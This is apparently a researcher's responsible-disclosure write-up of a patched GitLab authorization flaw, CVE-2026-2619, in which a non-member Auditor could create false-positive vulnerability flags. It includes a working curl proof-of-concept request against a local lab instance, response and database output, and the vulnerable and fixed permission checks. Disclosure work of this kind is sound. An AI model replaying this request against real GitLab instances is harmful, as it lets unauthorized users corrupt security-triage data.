September 18, 2026
CVE-2026–2619: How a Read-Only GitLab Auditor Could Modify Vulnerability Flags
An authorization flaw in GitLab’s AI detection API, the evidence behind my report, and the permission change that fixed it.

By KabishDahal
6 min read
By Kavish Dahal · HackerOne: sage_cyberlord
The API returned 201 Created. I was using an Auditor account that was not a member of the private project I was testing. The account could read vulnerability information, but it should not have been able to create a vulnerability flag. Yet that is exactly what happened. [1]
This was the core of a vulnerability I reported to GitLab on February 14, 2026. The issue is now tracked as CVE-2026–2619, and GitLab publicly credits my HackerOne handle, sage_cyberlord, for the discovery. [1][2]
The underlying mistake was straightforward: an operation that changed security data was authorized using a permission intended for reading it.
The permission boundary
GitLab's Auditor role provides broad read access across an instance without requiring membership in every project. Importantly, an Auditor can also receive additional permissions through separately assigned project or group roles. My test deliberately excluded that possibility: the Auditor was not a member of the target project. [1][3]
The distinction matters. Reading a private project's vulnerability information was not the bypass. The unexpected behavior was being able to write vulnerability flag data using that read access alone.
The affected endpoint was:
POST /api/v4/vulnerabilities/:id/flags/ai_detectionPOST /api/v4/vulnerabilities/:id/flags/ai_detectionIt accepts a confidence score, a description, and an optional origin for false-positive detection results. Despite its AI-related name, the issue I reported was an authorization failure, not a prompt-injection or model-manipulation attack. [1][4]
My test environment
I reproduced the issue on self-managed GitLab EE 18.8.3, running in Docker with an Ultimate license. I created a private group and project, a synthetic vulnerability with a linked finding, and an Auditor account with an API-scoped personal access token. [1]
The relevant setup output was:
{
"auditor_is_project_member": false,
"auditor_can_read_vulnerability": true,
"auditor_can_admin_project": false
}{
"auditor_is_project_member": false,
"auditor_can_read_vulnerability": true,
"auditor_can_admin_project": false
}These values established the account's position in the test: it could read the vulnerability, was not a project member, and did not have project-administration permission. [1]
The setup used administrator-level Rails tooling to create fixtures, including synthetic records saved without normal model validation. That was lab preparation, not the exploit. The subsequent HTTP request used the Auditor's token, not an administrator's credentials. This finding did not provide a way to obtain the Auditor role. [1]
The example below is a sanitized version of my original local test. It assumes the fixtures already exist and should only be used in an environment you own or are authorized to assess.
The request that crossed the boundary
With the Auditor token and the test vulnerability ID, I submitted a request to create a detection flag. The original report used vulnerability ID 5; the credentials here are placeholders. [1]
AUDITOR_PAT='REPLACE_WITH_LOCAL_TEST_AUDITOR_TOKEN'
VULNERABILITY_ID='5'
curl --silent --show-error --include \
--request POST \
--header "PRIVATE-TOKEN: ${AUDITOR_PAT}" \
--data-urlencode 'confidence_score=99' \
--data-urlencode 'description=auditor wrote this' \
--data-urlencode 'origin=manual_poc' \
"http://localhost:8080/api/v4/vulnerabilities/${VULNERABILITY_ID}/flags/ai_detection"AUDITOR_PAT='REPLACE_WITH_LOCAL_TEST_AUDITOR_TOKEN'
VULNERABILITY_ID='5'
curl --silent --show-error --include \
--request POST \
--header "PRIVATE-TOKEN: ${AUDITOR_PAT}" \
--data-urlencode 'confidence_score=99' \
--data-urlencode 'description=auditor wrote this' \
--data-urlencode 'origin=manual_poc' \
"http://localhost:8080/api/v4/vulnerabilities/${VULNERABILITY_ID}/flags/ai_detection"My recorded result was HTTP status 201, with this response body:
{
"message": "AI detection results updated successfully"
}{
"message": "AI detection results updated successfully"
}The account had successfully reached a write operation. But a success response alone was not enough to establish that the application had actually changed its stored data. I checked the database next. [1]
Confirming the write persisted
The verification showed a new flag associated with the test vulnerability's finding. This is an excerpt of the recorded output:
{
"vulnerability_id": 5,
"project_id": 235,
"finding_id": 5,
"flags_count": 1,
"latest_flags": [
{
"origin": "manual_poc",
"flag_type": "false_positive",
"confidence_score": 0.99
}
]
}{
"vulnerability_id": 5,
"project_id": 235,
"finding_id": 5,
"flags_count": 1,
"latest_flags": [
{
"origin": "manual_poc",
"flag_type": "false_positive",
"confidence_score": 0.99
}
]
}The stored origin matched the request, the flag type was false_positive, and the submitted score of 99 appeared as 0.99. The Auditor's request had produced a persistent database write, not just a misleading success message. [1]
The service code also explains the score conversion: it divides the submitted value by 100. It finds or initializes a false-positive flag for the supplied origin, assigns the description and confidence score, and saves the record. That path supports updating a matching flag as well as creating a new one. My displayed proof demonstrates creation. [5]
Root cause: the same wrong permission at two layers
In the vulnerable release, the API file at ee/lib/api/vulnerability_flags.rb authorized the request with:
find_and_authorize_vulnerability!(:read_vulnerability)find_and_authorize_vulnerability!(:read_vulnerability)That check answered whether the caller could read the vulnerability, not whether the caller could update its flags. [4]
There was also an authorization check inside ee/app/services/vulnerabilities/flags/update_ai_detection_service.rb:
def authorized?
project && can?(user, :read_vulnerability, project)
enddef authorized?
project && can?(user, :read_vulnerability, project)
endThe service repeated the same read-level check before performing the write. [5]
My report traced the Auditor's read permission to the group policy. That permission was appropriate for viewing vulnerability information; reusing it to authorize a mutation was the problem. Both authorization layers accepted the Auditor, and execution continued to the database update. [1]
The useful lesson here is not simply to add another authorization check. This code already checked authorization twice. Both checks needed to ask the right question.
What the finding demonstrated — and what it did not
The demonstrated impact was unauthorized creation of a false-positive flag in a private project by an Auditor who was not a member of that project. The affected write path also accepted caller-controlled descriptions and confidence scores. GitLab's public advisory describes the issue as unauthorized modification of vulnerability flag data. [1][2][5]
In my assessment, the practical concern is the integrity of security-triage information. A false-positive annotation or confidence score could influence how someone evaluates a finding. That is a potential downstream consequence, not evidence that my test caused a real team to ignore a vulnerability.
I did not demonstrate account takeover, remote code execution, data exfiltration, or an automatic change to the underlying vulnerability's lifecycle state. Creating a false_positive flag should not be described as proving that the vulnerability was dismissed, resolved, or removed from every report. My evidence establishes the flag write. [1]
GitLab classified the issue as CWE-863: Incorrect Authorization, with a CVSS v3.1 score of 4.3, Medium:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NThe published vector describes an authenticated, network-accessible issue with low integrity impact and no scored confidentiality or availability impact. Auditor privileges remained a prerequisite. [6]
The released fix
My original report recommended replacing the read-level check with an appropriate write permission. The published GitLab 18.10.3 source uses the operation-specific permission :update_vulnerability_flag. [1][7]
At the API layer, the relevant call is:
find_and_authorize_vulnerability!(:update_vulnerability_flag)find_and_authorize_vulnerability!(:update_vulnerability_flag)The API therefore checks permission to update a flag rather than permission to read the vulnerability. [7]
The service uses the same operation-specific permission:
def authorized?
project && can?(user, :update_vulnerability_flag, project)
enddef authorized?
project && can?(user, :update_vulnerability_flag, project)
endThis addresses the read/write mismatch at the service boundary as well. [8]
The regression tests are equally relevant. The 18.10.3 request specifications explicitly deny the Auditor role, while the service specifications include an unauthorized non-member Auditor case. These are observations from the published source and tests, rather than results from a new runtime retest. [9][10]
Comparing the request specifications also shows the coverage gap: the 18.8.3 permission examples covered Owner, Maintainer, Developer, Reporter, Guest, and anonymous access, but did not include an Auditor case. The fixed release does. [9][11]
Affected versions and remediation
GitLab's CVE record identifies these affected ranges and the corresponding fixed releases: [6]
Affected GitLab EE versionsFixed release18.6.0 up to, but not including, 18.8.918.8.918.9.0 up to, but not including, 18.9.518.9.518.10.0 up to, but not including, 18.10.318.10.3
These are the historical fix versions for this CVE, not a recommendation to deploy an old release today. Administrators should follow GitLab's upgrade guidance and use a current patched release appropriate to their supported version. [2]
My reproduction covered the configuration described earlier; the wider affected-version ranges come from GitLab's published record, not from testing every release myself.
Disclosure timeline
The dates below distinguish the public patch release from the later resolution notification in my report. [1][2]
DateMilestoneFebruary 14, 2026I submitted HackerOne report #3554982 to GitLab.February 16–17, 2026I provided additional reproduction instructions, including steps adapted for GitLab's Development Kit.February 17, 2026The report received a Medium 4.3 assessment and was escalated to engineering.April 8, 2026GitLab released the fixes in 18.10.3, 18.9.5, and 18.8.9.April 13, 2026GitLab confirmed remediation, awarded a $1,160 bounty, and marked the report resolved.
GitLab requested a 30-day waiting period before public disclosure of the report's details. This write-up follows that requested window. [1]
What I would take into the next review
Test roles that do not fit the usual project hierarchy. In this case, the important account was neither an ordinary outsider nor a project member. I would include special instance-level roles explicitly in an authorization test matrix rather than assuming the standard project roles cover them.
Follow authorization through to the service that changes state. A second check does not help when it repeats the same incorrect permission. I would compare each check with the exact operation being performed, especially when a feature combines broad visibility with restricted editing.
Keep the evidence narrower than the worst-case story. The strongest part of this report was the connection between the account's permissions, the successful HTTP request, and the persisted flag. The possible effect on triage explains why the issue matters, but it should not replace the technical result.
For me, CVE-2026–2619 is a concrete reminder that permission to inspect security data is not permission to change it. In this case, that distinction came down to the capability used at two authorization boundaries.
Thank you to the GitLab security team and HackerOne triage team for working through the report and coordinating remediation.
References
[1] My original HackerOne report #3554982. Reproduction evidence and disclosure correspondence are drawn from my retained report export; access to the HackerOne page may be restricted.
[2] GitLab patch release: 18.10.3, 18.9.5, 18.8.9.
[3] GitLab documentation: Auditor users.
[4] GitLab 18.8.3: vulnerable API authorization.
[5] GitLab 18.8.3: vulnerable flag-update service.
[6] CVE-2026–2619, verified against the official CVE record JSON.
[7] GitLab 18.10.3: fixed API authorization.
[8] GitLab 18.10.3: fixed flag-update service.
[9] GitLab 18.10.3: API request regression tests.
[10] GitLab 18.10.3: service regression tests.
[11] GitLab 18.8.3: original API request tests.
Suggested Medium topics: Cybersecurity, Bug Bounty, GitLab, Application Security, Access Control.